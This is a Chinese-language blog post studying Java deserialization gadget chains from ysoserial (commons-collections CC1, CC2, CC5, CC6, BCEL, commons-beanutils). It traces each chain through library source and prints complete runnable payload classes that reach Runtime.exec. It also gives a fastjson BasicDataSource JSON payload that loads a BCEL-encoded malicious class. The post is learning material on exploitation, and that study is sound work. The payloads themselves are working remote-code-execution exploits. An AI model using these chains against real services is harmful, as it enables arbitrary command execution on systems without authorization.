美文网首页
第四周—再看ysoserial

第四周—再看ysoserial

作者: AxisX | 来源:发表于2020-12-29 14:01 被阅读0次

很多知识学了忘,忘了学,还没有汇集成面。那要不再来一遍?

学ysoserial工具,可以从CC6开始看,然后CC5等,这些都对应着commons-collections:3.1。另外想学会反序列化的利用,commons-beanutilsBCEL两个内容也要学会。

准备下周有时间再仔细调试一遍,到时候再来补充。

CC6

利用链如下:

    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

下载一个Commons-collections3.1.jar,放入IDEA中分析一波。

所有CC6的payload核心在于InvokerTransformer类,它实现了Transformer接口。

public interface Transformer {
    Object transform(Object var1);
}

快捷键control+h可以快速搜索该接口的实现类

Transformer接口的实现类

反序列化漏洞攻击的核心在于如何构造如Runtime. getRuntime().exec(''calc'')这样命令执行的语句。该语句可以写成很多种形式,但都是要用到反射方法。以Mac下弹计算器的命令为例,获取Class对象->获取该对象的方法->执行该方法。

String cmd="open /System/Applications/Calculator.app";
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);

那么为什么CC系列链条的核心在于InvokerTransformer呢?它重写的transformer函数中部分内容如下,上述命令执行过程所需的getClass、getMethod、invoke方法都有了。而这些方法的参数又可以通过transformer自身的构造函数传入

//InvokerTransformer#transform
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

//InvokerTransformer#InvokerTransformer
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

利用InvokerTransformer构造函数,调用transform,弹计算器,可以写成如下方式:

InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
invokerTransformer.transform(Runtime.getRuntime());

但是这样写存在一个问题,Runtime.getRuntime()在实际应用中无法这样传入。那么就需要按照反射的方式,先获取Runtime类,再getMethod获取getRuntime方法。那么如何传入Runtime类,并且还得是Transformer的子类,进行一番搜寻能找到ConstantTransformer类。

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }

如果用ConstantTransformer类传入Runtime类,结合InvokerTransformer,进一步可以修改成下面这样。

ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
Object iConstant=constantTransformer.transform(Runtime.class); //Runtime.class=>class类型->有getMethod方法
InvokerTransformer invokerTransformer=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
Object k=invokerTransformer.transform(iConstant);
InvokerTransformer invokerTransformer1=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
Object n=invokerTransformer1.transform(k);
InvokerTransformer invokerTransformer2=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
invokerTransformer2.transform(n);

首先因为传入的不再是Runtime.getRuntime对象,而是Runtime类,Runtime类属于java.lang.Class,该包中有的方法是getMethod,那么我们需要通过getMethod去调用getRuntime方法。对于新手来说,后面的参数怎么写就需要一些Java功底。

new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});

首先看一下InvokerTransformer构造函数定义的参数(String methodName, Class[] paramTypes, Object[] args),这就固定了参数类型部分,而参数具体内容就要根据getMethod方法定义public Method getMethod(String name, Class<?>... parameterTypes),这里提一个基础的小点,Class<?>是泛型,泛型本身是ArrayList类型,即要写成数组形式。也就是第一个参数要为String类型,第二个参数为Class[]数组类型。

new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});

invoker部分同理,public Object invoke(Object obj, Object... args),而exec就较为简单了public Process exec(String command)

再回到上述ConstantTransformer和InvokerTransformer结合的写法中,存在一个问题就是如何能自动去多次调用transformer。同样在Transformer的实现类中寻找,ChainedTransformer顾名思义,可以构造一个Transformer链条。

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

如果把上面的需要调用transform的内容都放进iTransformers中就大功告成,也就是说都要存进Transformer[] 这个数组中。

Transformer[] Transformer=new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
};
Transformer chainedTransformer=new ChainedTransformer(Transformer);
chainedTransformer.transform(Transformer);

接下来的问题就是,什么类可以调用transform函数,并且可以传入对象。按照CC6的链条,用了LazyMap类的get函数

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

根据函数定义可知,如果继续要往上去找get的调用方法,就要找到形如map.get()这样的方式。

//TiedMapEntry
public Object getValue() {
        return this.map.get(this.key);
    }

public int hashCode() {
    Object value = this.getValue();//同类中的hashCode方法又调用了getValue
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//HashMap
  static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //调用hashcode
    }

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true) //调用hash

//HashSet
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }

最终调用了readObject,而反序列化的攻击点就在于java.io.ObjectInputStream.readObject(),至此链条完整,具体原作者如何选取的hashmap为节点,虽不得而知,但令人赞叹。

简版payload:

public class CC6_Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
        };
        Transformer chainedTransformer=new ChainedTransformer(Transformer);

        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");

        Field f = HashSet.class.getDeclaredField("map");
        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = HashMap.class.getDeclaredField("table");
        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = node.getClass().getDeclaredField("key");
        keyField.setAccessible(true);
        keyField.set(node, entry);
        
        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.flush();
        oos.close();
        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

从HashSet获取引用对象HashMap,private transient HashMap<E,Object> map;。因为该对象是private的,需要通过反射改变访问权限。f.get(Object obj)返回指定对象obj上此 Field 表示的字段的值。然后再从HashMap获取引用字段table,transient Node<K,V>[] table;。这个table是一个数组,然后再获取第一个元素叫做node,然后从node对象获取字段key。这样payload在反序列化时才能按照攻击链的顺序去执行。

CC5

CC5和CC6较为类似,比较着看,差异在于,LazyMap.get上层的调用链,CC5用的是TiedMapEntry.toString而CC6则是TiedMapEntry.getValue。toString方法return this.getKey() + "=" + this.getValue();,本身也是对getValue的调用。BadAttributeValueExpException构造函数可根据传入的对象来调用toString,并且具有接收ObjectInputStream参数的readObject方法,完美契合攻击链的构造。

//CC5
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()

//CC6
ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
LazyMap.get()

附上简版payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5_test {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                new ConstantTransformer(1)
        };
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,entry);


        Field field=transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,Transformer);
        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        //反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

CC1

Gadget chain如下,和上述的CC链一样,只是get方法上层调用选取了AnnotationInvocationHandler。

        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()

AnnotationInvocationHandler主要用于注解。注解的最底层实现则是一个动态代理。InvocationHandler类经常被用于动态代理,所谓动态代理就是定义了某个接口,但不编写实现类,通过JDK提供的proxy.newProxyInstance()创建一个接口对象

总的来说,在运行期间动态创建一个interface实例的方法是:
1.定义一个InvocationHandler实例,负责实现接口方法调用
2.通过Proxy.newProxyInstance()创建interface实例,并配以三个参数:使用的ClassLoader、需要实现的接口数组、用来处理接口方法调用的InvocationHandler实例。
3.将返回的object强制转型为接口。

通过demo对比一下静态类和动态代理,此demo来自廖雪峰师傅的博客:

//静态
public interface Hello {
    void morning(String name);
}
public class HelloWorld implements Hello {
    public void morning(String name) {
        System.out.println("Good morning, " + name);
    }
}
Hello hello = new HelloWorld();
hello.morning("Bob");

//动态代理
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Main {
    public static void main(String[] args) {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println(method);
                if (method.getName().equals("morning")) {
                    System.out.println("Good morning, " + args[0]);
                }
                return null;
            }
        };
        Hello hello = (Hello) Proxy.newProxyInstance(
            Hello.class.getClassLoader(), // 传入ClassLoader
            new Class[] { Hello.class }, // 传入要实现的接口
            handler); // 传入处理调用方法的InvocationHandler
        hello.morning("Bob");
    }
}

interface Hello {
    void morning(String name);
}

该类中有个invoke函数:

//invoke函数
Object var6 = this.memberValues.get(var4);
//memberValues的定义
private final Map<String, Object> memberValues;

再来看一下该类的readobject函数:

    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }

其实payload编写的过程主要是对Java特性要比较熟悉,例如memberValues是Map类型,Map有那些操作呢?插入map.put(k,v)、获取map.get(k)、移除map.remove(key),对Map进行遍历时可采用四种方式:

//1
for (String key : map.keySet())
//2
for (Map.Entry<String, String> entry : map.entrySet())
//3
Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();
while (it.hasNext()) {
    Map.Entry<String, String> entry = it.next();
}
//4
for (String v : map.values()) 

Entry是什么呢?它是Map中采用的一个内部类来表示一个映射项,也就是说每一个键值对就是一个Entry。

entrySet是返回Map中所包含映射的Set视图。Set中的每个元素都是一个Map.Entry对象,可以使用getKey和getValue方法。keySet则是返回键的视图。

附上简版payload:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC1_test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
        Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        Transformer[] Transformer=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                new ConstantTransformer(1)
        };
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);

        Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

        handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);

        Field field=transformerChain.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(transformerChain,Transformer);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();

        System.out.println(baos);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

BCEL

BCEL,全名Apache Commons BCEL,一看也是Commons家族的,提供了一系列用于分析、创建、修改Java Class文件的API,位于原生JDK中,com.sun.org.apache.bcel。离别歌写的文章很清楚https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。这个利用方式目前只存在于低于java 8u 251的版本中。

在JVM的执行过程中,通过ClassLoader将类加载到内存。JDK中内置了很多ClassLoader,例如BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLCLassLoader等。它们之间的委派模式级别从低到高。ClassLoader中有几个重要的方法,loadClass(加载全限定类名)、fineClass(搜索类的位置)、defineClass(将字节码转换为JVM的java.lang.class对象)等。

在反射机制中经常看到用Class.forName来动态加载指定的类,从而返回一个CLass对象,如果此时没有指定ClassLoader,那么就会使用BootstrapClassLoader来加载。所以Class.forName本质上也是调用ClassLoader来实现的。但是Class.forName与ClassLoader.loadClass存在如下的区别:

forName() 默认会对类进行初始化,会执行类中的 static 代码块
ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中

BCEL中也有个ClassLoader:com.sun.org.apache.bcel.internal.util.ClassLoader。该类重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否以$$BCEL$$开头,如果是就对这个后面的字符串进行decode。

下面是个用BCEL的demo,首先创建一个恶意类Evil,将Evil生成BCEL形式的字节码,然后用该字节码来创建对象,最终调用计算器。

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {}
    }
}
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCEL_Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        JavaClass javaClass= Repository.lookupClass(Evil.class);
        String code= Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);

        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

对于上述最后这一步加载,在fastjson中常用Class.forName("xxx", true, new ClassLoader),此时的ClassLoader是bcel包中的而非java.lang.ClassLoader

在fastjson中,应用BasicDataSource的payload会调用Class.forName方法,并且可以自定义ClassLoader类型,demo如下:

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class fastjson_test {
    public static void main(String[] args) throws IOException {
        JavaClass javaClass= Repository.lookupClass(Evil.class);
        String code= Utility.encode(javaClass.getBytes(),true);

        String poc= "{\n"+
                "{\n"+
                "    \"aaa\": {\n"+
                "    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+
                "            \"driverClassLoader\": {\n"+
                "        \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+
                "    },\n"+
                "    \"driverClassName\": \"$$BCEL$$"+code+"\"\n"+
                "}\n"+
            "}: \"bbb\"\n" +
        "}";
        JSON.parse(poc);
    }
}

最后附上纯净的payload

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$..."
        }
    }: "bbb"
}

CC2

CC2的调用链如下,用的是PriorityQueue。

    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()

PriorityQueue,顾名思义,是一个优先级队列,按照队列中元素的自然顺序排列,或者根据构造队列时提供的Comparator进行排序。队列中不能有null元素,也不能插入不可比较对象(即,没有实现Comparable接口的对象)。另外,PriorityQueue是无界的,如果不断向其中添加元素,容器就会无限扩充。队列的头元素指向排序规则最小的元素。这也体现了优先队列的作用:每次取出的元素都是队列中权值最小的

PriorityQueue是通过二叉小顶堆实现的,可以用一颗完全二叉树表示。所谓小顶堆就是任意一个非叶子节点的权值,都不大于其左右节点的权值。学过基础算法的人都了解,队列包含的基础操作有:创建队列;判断队列是否为空;插入、删元素;这些也被包含在优先队列函数中。以插入元素为例:


https://www.cnblogs.com/CarpenterLee/p/5488070.html.offer()插入元素

插入元素4后,会发现它不满足二叉小顶堆的定义,即9比4大,不是个小顶堆,那么就需要用siftUp函数进行调整。插入的时候会调用扩容函数grow。
另外提一句,add(E e)和offer(E e)的语义相同,都是向优先队列中插入元素,只是Queue接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回false。同样获取队列头元素(但不删除)也有两种方法:element()和peek(),二者的异同和add与offer类似。同样是获取队列头元素,但是同时删除头元素的方法则是:remove和poll

关于PriorityQueue的算法问题,可以看下面文章的图,很清楚
https://www.cnblogs.com/CarpenterLee/p/5488070.html

然后是InvokerTransformer上层选取的TransformingComparator,从CC6的payload来看,TransformingComparator必然替代了ChainTransformer的功能。具体来看一下该类的内容

    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

类中的compare函数,调用了transformer对象的transform函数。这些是给出的Gadget chain中的内容,那么ysoserial中的payload又是什么样子的呢?

首先提到了TemplatesImpl类。该类位于com.sun.org.apache.xalan.internal.xsltc.trax
xalan处理器主要用于XML转换,它主要的类如下:

TransformerFactory:转换器工厂,负责生产转换器;
Transformer:XSLT转换器,负责加载XSLT样式单文档,并执行转换;
Source:代表源XML文档的接口,其常用实现类有DOMSource、StreamSource、SAXSource;
Result:代表转换结果的文档接口,其常用实现类有DOMResult、StreamResult、SAXResult。

TemplatesImpl类

defineTransletClasses函数有一行如下的代码,获取_bytecodes[i]中的类,传递给_class[i]

 _class[i] = loader.defineClass(_bytecodes[i]); 

getTransletInstance()函数则对_class[]类进行了实例化,创建了类对象,但有个限制是类对象是AbstractTranslet类型。

 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

那么接下来的问题就是如何调用getTransletInstance方法

newTransformer()函数可以对getTransletInstance方法进行调用,POC中利用InvokerTransformer去调用newTransformer。

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

后续,TransformingComparator的compare方法会去调用传入参数的transform方法,而compare方法的调用则依靠PriorityQueue类来实现了。

PriorityQueue类siftDownUsingComparator函数执行了compare函数,由comparator来调用。而siftDown函数则在comparator不为空的前提下对siftDownUsingComparator函数进行调用,heapify又可以对siftDown进行循环调用。PriorityQueue类的readObject函数自动会调用heapify函数,这一步简直完美。

//PriorityQueue类
//siftDownUsingComparator
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)

private final Comparator<? super E> comparator;

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

整个payload链条补全大致如下:

ObjectInputStream.readObject()
        PriorityQueue.readObject()
            PriorityQueue.heapify()
                PriorityQueue.siftDown()
                    siftDownUsingComparator()
                        TransformingComparator.compare()
                                TemplatesImpl.newTransformer()
                                    TemplatesImpl.getTransletInstance()
                                        TemplatesImpl.defineTransletClasses()
                                            TemplatesImpl.TransletClassLoader.defineClass()

最后还要提一下Javassist,一个Java字节码类库。Javaassit.CtClass 表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件,ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。

ClassPool常用方法:

getDefault : 创建ClassPool;
appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑
makeClass:定义一个新的类(在知道类完整路径和名字的情况下)

生成类对象的方式:

ClassPool pool = ClassPool.getDefault();
// 设置类路径
pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
Object person = ctClass.toClass().newInstance();

ysoserial的CC2 payload借助javaassist来生成一个继承自AbstractTranslet的恶意类。AbstractTranslet在上文提到了,TemplatesImpl获取_bytecodes[i]中的类,该类在getTransletInstance函数中被限制为AbstractTranslet类型。

最后附上裸版payload,便于新手阅读。

import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

public class CC2_test{
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections22");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();
    }
}

commons-beanutils

对比一下ysoserial工具中commons-beanutils和commons-collections2的payload就会发现二者最大的区别如下:

//commons-collections2
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

//commons-beanutils
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

也就是说用BeanComparator替代了InvokerTransformer。BeanComparator来自commons-beanutils包,该jar包主要提供对JavaBean进行各式操作,例如直接get/set一个属性值。
BeanComparator类中有compare函数:

//BeanComparator类
//compare
if (this.property == null) {
      return this.internalCompare(o1, o2);
} else {
      try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.internalCompare(value1, value2);
        }
//internalCompare
private int internalCompare(Object val1, Object val2) {
        Comparator c = this.comparator;
        return c.compare(val1, val2);
    }

简版payload:

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.math.BigInteger;
import java.util.PriorityQueue;

public class Beanutil_test {
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException, ClassNotFoundException, NoSuchFieldException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
